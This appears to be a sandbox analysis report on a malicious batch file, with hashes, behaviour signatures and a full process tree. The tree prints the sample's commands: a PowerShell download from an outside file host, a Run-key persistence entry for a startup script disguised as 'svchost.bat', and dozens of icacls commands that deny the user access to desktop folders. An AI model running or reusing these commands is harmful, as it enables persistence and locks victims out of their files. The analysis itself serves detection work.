b6a0e4e85aa843f5ea739b93074acf03f7b202af23d848871deb2978be30c116

Analysis

user interaction
yes
max time kernel
95s
max time network
97s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
15/07/2026, 02:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a.bat
Size 1KB
Sample260715-dgrppads8s
SHA256 b6a0e4e85aa843f5ea739b93074acf03f7b202af23d848871deb2978be30c116
MD5 536b04d5b0c2ebd28d771dd90d763717
SHA1 644e021a838cee13cfcad7e49089618ec2906d35
SHA512 b46dbebf5d46ccf6f085a5c7fba1bc6036997b332d1b2ed66cc0901b6e97bdafe4680e168cd257f1df94f19d96da09455c0ad017931f5af3ac48d1d7f951599e
TLSH
T1D23196AB3C08A559867752904A778144F789D6978600EFEC31D3D0A93E173C083A6DCD
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	868	powershell.exe
3	2452	powershell.exe
4	2452	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
868	powershell.exe
2452	powershell.exe
2312	powershell.exe
2512	powershell.exe
6980	Process not Found
9172	Process not Found
10436	Process not Found
12740	Process not Found
8728	Process not Found
11620	Process not Found
13428	Process not Found
13672	Process not Found
13520	Process not Found
1564	powershell.exe
10084	Process not Found
11040	Process not Found
13956	Process not Found
3064	powershell.exe
2140	powershell.exe
5988	Process not Found
6968	Process not Found
10004	Process not Found
11080	Process not Found
4492	powershell.exe
4904	powershell.exe
5548	Process not Found
12396	Process not Found
8992	Process not Found
4404	powershell.exe
6088	powershell.exe
6840	Process not Found
10424	Process not Found
17012	Process not Found
8444	Process not Found
8908	Process not Found
7948	Process not Found
14204	Process not Found
10616	Process not Found
5760	powershell.exe
5464	Process not Found
12500	Process not Found
15020	Process not Found
13128	Process not Found
8328	Process not Found
5636	powershell.exe
6228	Process not Found
8532	Process not Found
17156	Process not Found
7920	Process not Found
5360	powershell.exe
9272	Process not Found
9080	Process not Found
13536	Process not Found
2256	Process not Found
4204	powershell.exe
8120	Process not Found
10984	Process not Found
10772	Process not Found
2176	powershell.exe
5908	powershell.exe
8632	Process not Found
10384	Process not Found
8548	Process not Found
11120	Process not Found

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat	cmd.exe

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
11932	Process not Found
16784	Process not Found
5592	Process not Found
7228	Process not Found
5784	Process not Found
9144	Process not Found
10968	Process not Found
8972	Process not Found
8528	Process not Found
14140	Process not Found
11776	Process not Found
16556	Process not Found
8144	Process not Found
7580	Process not Found
8532	Process not Found
12712	Process not Found
12724	Process not Found
1344	icacls.exe
5540	icacls.exe
8892	Process not Found
11284	Process not Found
13992	Process not Found
2556	icacls.exe
6624	Process not Found
5744	Process not Found
8316	Process not Found
9676	Process not Found
1072	icacls.exe
5436	icacls.exe
9072	Process not Found
12340	Process not Found
3896	icacls.exe
6556	Process not Found
7180	Process not Found
7848	Process not Found
9456	Process not Found
11512	Process not Found
8140	Process not Found
4748	Process not Found
5792	icacls.exe
6920	Process not Found
7252	Process not Found
8436	Process not Found
14256	Process not Found
15200	Process not Found
4240	icacls.exe
5232	Process not Found
10940	Process not Found
11992	Process not Found
7324	Process not Found
10288	Process not Found
11368	Process not Found
11972	Process not Found
1564	icacls.exe
6608	Process not Found
8604	Process not Found
5436	Process not Found
10716	Process not Found
1948	Process not Found
12864	Process not Found
12552	Process not Found
10484	Process not Found
9452	Process not Found
13400	Process not Found

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\svchost.bat"	reg.exe

Delays execution with timeout.exe 64 IoCs

defense_evasion

pid	Process
10812	Process not Found
9932	Process not Found
10564	Process not Found
15060	Process not Found
4340	Process not Found
9988	Process not Found
10272	Process not Found
5788	timeout.exe
5344	timeout.exe
6968	Process not Found
12460	Process not Found
4904	timeout.exe
6440	Process not Found
7592	Process not Found
11500	Process not Found
14184	Process not Found
4688	timeout.exe
2652	timeout.exe
5684	timeout.exe
9664	Process not Found
9204	Process not Found
12140	Process not Found
13836	Process not Found
3348	timeout.exe
13364	Process not Found
7508	Process not Found
8276	Process not Found
10164	Process not Found
9296	Process not Found
10800	Process not Found
2496	timeout.exe
10524	Process not Found
9664	Process not Found
16260	Process not Found
9080	Process not Found
8588	Process not Found
10864	Process not Found
10440	Process not Found
12220	Process not Found
1760	Process not Found
16340	Process not Found
5436	Process not Found
2148	timeout.exe
9932	Process not Found
14192	Process not Found
2276	Process not Found
10856	Process not Found
14312	Process not Found
8388	Process not Found
9976	Process not Found
10972	Process not Found
11972	Process not Found
3532	Process not Found
16036	Process not Found
6480	Process not Found
7860	Process not Found
10636	Process not Found
6204	timeout.exe
1920	Process not Found
10404	Process not Found
13148	Process not Found
16052	Process not Found
8052	Process not Found
5884	Process not Found

Kills process with taskkill 64 IoCs

defense_evasion

pid	Process
11468	Process not Found
13200	Process not Found
16092	Process not Found
14404	Process not Found
12696	Process not Found
764	taskkill.exe
11588	Process not Found
5748	Process not Found
8840	Process not Found
11004	Process not Found
11852	Process not Found
7904	Process not Found
7764	Process not Found
8196	Process not Found
8528	Process not Found
10012	Process not Found
12336	Process not Found
6276	Process not Found
6264	Process not Found
4340	Process not Found
7648	Process not Found
9492	Process not Found
10500	Process not Found
9452	Process not Found
12844	Process not Found
13872	Process not Found
3784	Process not Found
3316	taskkill.exe
12388	Process not Found
11840	Process not Found
3808	taskkill.exe
4828	taskkill.exe
10168	Process not Found
10424	Process not Found
14332	Process not Found
11280	Process not Found
4416	Process not Found
3140	taskkill.exe
4760	taskkill.exe
6656	Process not Found
10744	Process not Found
1360	Process not Found
4500	taskkill.exe
8092	Process not Found
13224	Process not Found
1624	taskkill.exe
7948	Process not Found
12276	Process not Found
15212	Process not Found
8128	Process not Found
12940	Process not Found
10076	Process not Found
11596	Process not Found
4788	taskkill.exe
4620	taskkill.exe
7812	Process not Found
9004	Process not Found
8352	Process not Found
11804	Process not Found
11312	Process not Found
15140	Process not Found
4340	taskkill.exe
8168	Process not Found
12020	Process not Found

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
868	powershell.exe
868	powershell.exe
2452	powershell.exe
2452	powershell.exe
4404	powershell.exe
4404	powershell.exe
5108	powershell.exe
2312	powershell.exe
5108	powershell.exe

Suspicious use of AdjustPrivilegeToken 57 IoCs

description	pid	Process
Token: SeDebugPrivilege	868	powershell.exe
Token: SeRestorePrivilege	5036	icacls.exe
Token: SeRestorePrivilege	4944	icacls.exe
Token: SeRestorePrivilege	572	icacls.exe
Token: SeRestorePrivilege	3064	icacls.exe
Token: SeRestorePrivilege	1500	icacls.exe
Token: SeRestorePrivilege	876	icacls.exe
Token: SeRestorePrivilege	4380	icacls.exe
Token: SeRestorePrivilege	1424	icacls.exe
Token: SeRestorePrivilege	776	icacls.exe
Token: SeRestorePrivilege	2004	icacls.exe
Token: SeRestorePrivilege	3060	icacls.exe
Token: SeRestorePrivilege	4364	icacls.exe
Token: SeDebugPrivilege	2452	powershell.exe
Token: SeRestorePrivilege	4612	icacls.exe
Token: SeRestorePrivilege	1436	icacls.exe
Token: SeRestorePrivilege	2132	icacls.exe
Token: SeRestorePrivilege	1540	icacls.exe
Token: SeRestorePrivilege	4792	icacls.exe
Token: SeRestorePrivilege	784	icacls.exe
Token: SeRestorePrivilege	2356	icacls.exe
Token: SeRestorePrivilege	3460	icacls.exe
Token: SeRestorePrivilege	4488	icacls.exe
Token: SeRestorePrivilege	1072	icacls.exe
Token: SeRestorePrivilege	2312	icacls.exe
Token: SeRestorePrivilege	3728	icacls.exe
Token: SeRestorePrivilege	1344	icacls.exe
Token: SeRestorePrivilege	3344	icacls.exe
Token: SeRestorePrivilege	4812	icacls.exe
Token: SeRestorePrivilege	3920	icacls.exe
Token: SeRestorePrivilege	3316	icacls.exe
Token: SeRestorePrivilege	3976	icacls.exe
Token: SeRestorePrivilege	3024	icacls.exe
Token: SeRestorePrivilege	4112	icacls.exe
Token: SeRestorePrivilege	1020	icacls.exe
Token: SeRestorePrivilege	4020	icacls.exe
Token: SeRestorePrivilege	3956	icacls.exe
Token: SeRestorePrivilege	4560	icacls.exe
Token: SeRestorePrivilege	3652	icacls.exe
Token: SeRestorePrivilege	3332	icacls.exe
Token: SeRestorePrivilege	2592	icacls.exe
Token: SeRestorePrivilege	1744	icacls.exe
Token: SeRestorePrivilege	2968	icacls.exe
Token: SeRestorePrivilege	3304	icacls.exe
Token: SeRestorePrivilege	3916	icacls.exe
Token: SeRestorePrivilege	2416	icacls.exe
Token: SeRestorePrivilege	412	icacls.exe
Token: SeRestorePrivilege	4944	icacls.exe
Token: SeRestorePrivilege	2640	icacls.exe
Token: SeRestorePrivilege	2148	icacls.exe
Token: SeRestorePrivilege	1480	icacls.exe
Token: SeRestorePrivilege	2404	icacls.exe
Token: SeDebugPrivilege	4352	taskkill.exe
Token: SeDebugPrivilege	4404	powershell.exe
Token: SeDebugPrivilege	764	taskkill.exe
Token: SeDebugPrivilege	5108	powershell.exe
Token: SeDebugPrivilege	2312	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2152 wrote to memory of 2656	2152	cmd.exe	81
PID 2152 wrote to memory of 868	2152	cmd.exe	82
PID 2152 wrote to memory of 412	2152	cmd.exe	83
PID 2152 wrote to memory of 5036	2152	cmd.exe	84
PID 2152 wrote to memory of 2256	2152	cmd.exe	85
PID 2152 wrote to memory of 4944	2152	cmd.exe	86
PID 2152 wrote to memory of 5080	2152	cmd.exe	87
PID 2152 wrote to memory of 572	2152	cmd.exe	88
PID 2152 wrote to memory of 4400	2152	cmd.exe	89
PID 2152 wrote to memory of 3064	2152	cmd.exe	90
PID 2152 wrote to memory of 2148	2152	cmd.exe	91
PID 2152 wrote to memory of 1500	2152	cmd.exe	92
PID 2152 wrote to memory of 1480	2152	cmd.exe	93
PID 2152 wrote to memory of 876	2152	cmd.exe	94
PID 2152 wrote to memory of 2404	2152	cmd.exe	95
PID 2152 wrote to memory of 4380	2152	cmd.exe	96
PID 2152 wrote to memory of 1996	2152	cmd.exe	97
PID 2152 wrote to memory of 1424	2152	cmd.exe	98
PID 2152 wrote to memory of 2832	2152	cmd.exe	100
PID 2152 wrote to memory of 776	2152	cmd.exe	101
PID 2152 wrote to memory of 4532	2152	cmd.exe	102
PID 2152 wrote to memory of 2004	2152	cmd.exe	103
PID 2152 wrote to memory of 808	2152	cmd.exe	105
PID 2152 wrote to memory of 3060	2152	cmd.exe	106
PID 2152 wrote to memory of 1720	2152	cmd.exe	107
PID 2152 wrote to memory of 4364	2152	cmd.exe	109
PID 2152 wrote to memory of 4188	2152	cmd.exe	110
PID 2152 wrote to memory of 4612	2152	cmd.exe	111
PID 2152 wrote to memory of 2220	2152	cmd.exe	112
PID 2152 wrote to memory of 1436	2152	cmd.exe	113
PID 2152 wrote to memory of 4624	2152	cmd.exe	114
PID 2152 wrote to memory of 2132	2152	cmd.exe	115
PID 2152 wrote to memory of 3524	2152	cmd.exe	116
PID 2152 wrote to memory of 1540	2152	cmd.exe	117
PID 2152 wrote to memory of 1044	2152	cmd.exe	118
PID 2152 wrote to memory of 4792	2152	cmd.exe	119
PID 2152 wrote to memory of 424	2152	cmd.exe	120
PID 2152 wrote to memory of 784	2152	cmd.exe	121
PID 2152 wrote to memory of 3376	2152	cmd.exe	122
PID 2152 wrote to memory of 2356	2152	cmd.exe	123
PID 2152 wrote to memory of 1640	2152	cmd.exe	124
PID 2152 wrote to memory of 3460	2152	cmd.exe	125
PID 2152 wrote to memory of 4568	2152	cmd.exe	126
PID 2152 wrote to memory of 4488	2152	cmd.exe	127
PID 2152 wrote to memory of 4636	2152	cmd.exe	128
PID 2152 wrote to memory of 1072	2152	cmd.exe	129
PID 2152 wrote to memory of 3612	2152	cmd.exe	130
PID 2152 wrote to memory of 2312	2152	cmd.exe	204
PID 2152 wrote to memory of 3416	2152	cmd.exe	132
PID 2152 wrote to memory of 3728	2152	cmd.exe	133
PID 2152 wrote to memory of 4416	2152	cmd.exe	134
PID 2152 wrote to memory of 1344	2152	cmd.exe	135
PID 2152 wrote to memory of 3228	2152	cmd.exe	136
PID 2152 wrote to memory of 3344	2152	cmd.exe	137
PID 2152 wrote to memory of 1428	2152	cmd.exe	138
PID 2152 wrote to memory of 4812	2152	cmd.exe	139
PID 2152 wrote to memory of 1656	2152	cmd.exe	140
PID 2152 wrote to memory of 3920	2152	cmd.exe	141
PID 2152 wrote to memory of 4204	2152	cmd.exe	143
PID 2152 wrote to memory of 3316	2152	cmd.exe	144
PID 2152 wrote to memory of 4740	2152	cmd.exe	145
PID 2152 wrote to memory of 3976	2152	cmd.exe	146
PID 2152 wrote to memory of 2496	2152	cmd.exe	147
PID 2152 wrote to memory of 3024	2152	cmd.exe	148

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2152
- C:\Windows\system32\mode.com
  mode con: cols=1 lines=1
  2⤵
  PID:2656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri 'https://store-na-phx-5.gofile.io/download/web/7ebbb6f4-a537-4208-ad4a-48a914b785b3/301f696501829af4a3a58dccffc4cbb6_0_42700000.mp4' -OutFile 'C:\Users\Admin\Desktop\system_video.mp4' -UseBasicParsing -TimeoutSec 60"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:868
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
  2⤵
  - Adds Run key to start application
  PID:412
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5036
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:2256
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4944
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:5080
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:572
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4400
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3064
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:2148
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1500
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:1480
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:876
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:2404
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4380
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:1996
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1424
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:2832
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:776
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4532
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2004
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:808
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3060
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:1720
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4364
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4188
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4612
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:2220
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1436
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder14" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4624
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder15" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2132
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder15" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:3524
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder16" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1540
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder16" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:1044
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder17" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4792
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder17" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:424
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder18" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:784
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder18" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:3376
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder19" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2356
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder19" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:1640
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder20" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3460
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder20" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4568
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder21" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4488
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder21" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4636
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder22" /setowner "Admin" /t
  2⤵
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:1072
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder22" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:3612
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder23" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2312
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder23" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:3416
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder24" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3728
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder24" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4416
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder25" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1344
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder25" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:3228
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder26" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3344
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder26" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:1428
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder27" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4812
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder27" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:1656
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder28" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3920
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder28" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4204
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder29" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3316
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder29" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4740
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder30" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3976
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder30" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:2496
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder31" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3024
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder31" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:2328
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder32" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4112
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder32" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4808
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder33" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1020
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder33" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:3932
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder34" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4020
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder34" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:3788
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder35" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3956
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder35" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4536
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder36" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4560
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder36" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:1840
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder37" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3652
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder37" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:2112
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder38" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3332
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder38" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:1980
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder39" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2592
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder39" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:568
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder40" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1744
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder40" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:2824
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder41" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2968
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder41" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4732
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder42" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3304
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder42" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4120
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder43" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3916
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder43" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
